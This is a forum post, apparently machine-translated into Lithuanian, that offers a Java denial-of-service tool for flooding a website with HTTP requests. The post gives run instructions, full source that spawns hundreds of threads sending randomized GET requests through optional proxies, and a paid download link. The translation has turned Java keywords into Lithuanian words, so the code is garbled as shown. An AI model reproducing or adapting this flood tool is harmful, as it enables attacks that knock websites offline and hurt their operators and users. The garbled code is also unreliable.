stiklainio kodas dDOS ataka įgyvendinta java. Tačiau jis niekuo nesiskiria nuo tradicinių dDo. Ši programinė įranga yra DDOS ataka prieš puslapį. Kaip naudoti: java -jar ccddos.jar www.xxx.com 80 10 /index.do vartotojo vardas=xxx 80
[mw_shl_code=java,true]importuoti java.io.IOException; importuoti java.net.ConnectException; importuoti java.net.InetSocketAddress; importuoti java.nio.ByteBuffer; importuoti java.nio.channels.SelectionKey; importuoti java.nio.channels.Selector; importuoti java.nio.channels.SocketChannel; importuoti java.util.Iterator; importuoti java.util.Random; importuoti java.util.Set; importuoti java.util.Timer; importuoti java.util.TimerTask; importuoti java.util.Vector;
/** * Demonų siūlai
* * @author administravimas
* */ Viešosios klasės testas { privatus styginių šeimininkas, uri, param; privatus tarptautinis uostas; privatus galutinis vektorius<CCDDOSThread> v = naujas vektorius <CCDDOSThread>(); privatus InetSocketAddress isa; private int threadsCount = 500; Siūlų skaičius privatus Atsitiktinis r = naujas Atsitiktinis(); privatus ilgas laikas = 5000l;
/** * Atidarykite ataką */ viešas void start() { for (int i = 0; i < threadsCount; i++) { CCDDOSThread t = naujas CCDDOSThread(); v.add(t); t.start();
} Laikmatis t = naujas laikmatis (); t.schedule(naujas TimerTask() { viešas void run() { int skaičius = 0, timeoutthreads = 0; long ct = System.currentTimeMillis(); for (Iterator<CCDDOSThread> it = v.iterator(); it.hasNext(); ) { CCDDOSThread th = it.next(); if (th.isCancle() || !th.isAlive()) { it.remove(); th = nulinis; skaičius++; } else if (ct - th.start > timeout) { Skirtasis laikas, išorinė pabaiga skirtasis laikas++; th.setCancle(tiesa); th.interrupt(); it.remove(); th = nulinis; skaičius++; } } if (skaičius == 0) { grįžti; } System.out.println("Gija uždaryta:"+count+", kur prijungta skirtojo laiko gija:" + skirtasis laikas); for (int i = 0; Aš < skaičiuoti; i++) { CCDDOSThread th = naujas CCDDOSThread(); v.add(th); th.start(); } } }, 0l, 100l); System.out.println("Demonų gija prasidėjo:"); }
/** * @param argumentai */ public static void main(String[] args) { if (args.length < 6) { System.out.println("Instrukcijos:"); Sistema.out .println("java org.p3p.net.ccddos.Main <主机> <port> <同时开启的线程数> <URI> <参数> <连接超时> [<代理主机> <代理端口>]"); System.out.println(""); System.exit(0); } else if (args.length >= 8) { Nustatymas su agentu System.getProperties().put("proxySet", "true"); System.getProperties().setProperty("http.proxyHost", args[6]); System.getProperties().setProperty("http.proxyPort", argumentai[7]); }
bandymas m = naujas bandymas (); m.host = argumentai[0]; m.port = Integer.valueOf(argumentai[1]); m.uri = argumentai[3]; m.param = argumentai[4]; m.threadsCount = Integer.valueOf(argumentai[2]); m.timeout = Long.valueOf(argumentai[5]); m.isa = naujas InetSocketAddress(m.host, m.port); m.start(); }
/** * Atakos gijos * * @author Zhanghongbo * */ klasė CCDDOSThread pratęsia Thread { privatus Bulio kanklis = klaidingas; viešas ilgas paleidimas = System.currentTimeMillis();
public void setCancle(Būlio kancle) { this.cancle = kancle; }
viešasis loginis isCancle() { grąžinti kancle; }
viešas void run() { ilga pradžia = System.currentTimeMillis(); Selektoriaus parinkiklis; pabandykite { selektorius = Selector.open(); SocketChannel sc; pabandykite { sc = SocketChannel.open(isa); } catch (ConnectException ex) { System.out.println(ex.getMessage()); cancle = tiesa; selector.close(); grįžti; }
sc.configureBlocking(klaidingas); sc.register(selektorius, SelectionKey.OP_WRITE | SelectionKey.OP_READ); palaukite: kol (selector.select() > 0 && !cancle) { if (System.currentTimeMillis() - pradžia > skirtasis laikas) { cancle = tiesa; pertrauka laukti; } Set<?> readykey = selector.selectedKeys(); Iteratorius<?> it = readykey.iterator(); o (it.hasNext() && !cancle) { if (System.currentTimeMillis() - pradžia > skirtasis laikas) { cancle = tiesa; pertrauka laukti; } SelectionKey skey = (SelectionKey) it.next(); it.remove(); SocketChannel scc = (SocketChannel) skey.channel();
if ((skey.readyOps() & SelectionKey.OP_WRITE) == SelectionKey.OP_WRITE) { Stygos galvutė = "GET " + uri + "?" + parametras + "&rndnum=" + r.nextInt() + " HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Ryšys:uždaryti\r\n" + "\r\n"; ByteBuffer bbf = ByteBuffer.wrap(head.getBytes()); scc.write(bbf); } skey.cancel(); scc.close(); } } selector.close(); sc.close();
} laimikis (IOException ex) { cancle = tiesa; } } }
} [/mw_shl_code]
Gatavo produkto ir šaltinio kodo atsisiuntimas:
java ddos.zip
(8.42 KB, Atsisiuntimų skaičius: 0, Pardavimo kaina: 2 Grūdai MB)
|